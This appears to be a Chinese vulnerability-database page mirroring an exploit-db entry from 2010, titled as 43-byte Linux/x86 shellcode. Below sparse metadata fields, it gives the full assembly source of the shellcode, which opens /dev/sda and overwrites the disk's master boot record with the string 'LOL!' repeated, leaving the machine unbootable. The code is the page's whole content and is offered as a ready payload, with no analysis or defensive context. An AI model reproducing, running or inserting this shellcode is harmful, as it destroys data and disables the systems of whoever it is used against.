Linux/x86 - Overwrite MBR on /dev/sda with `LOL!' Shellcode (43 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1059007 漏洞类型
发布时间 2010-01-15 更新时间 2010-01-15
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13563
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
; root@thegibson
; 2010-01-15

section .text
        global _start

_start:
        ; open("/dev/sda", O_WRONLY);
        mov al, 5
        xor ecx, ecx
        push ecx
        push dword 0x6164732f
        push dword 0x7665642f
        mov ebx, esp
        inc ecx
        int 0x80

        ; write(fd, "LOL!"x128, 512);
        mov ebx, eax
        mov al, 4
        cdq
        push edx
        mov cl, 128
        fill:
                push dword 0x214c4f4c
        loop fill
        mov ecx, esp
        inc edx
        shl edx, 9
        int 0x80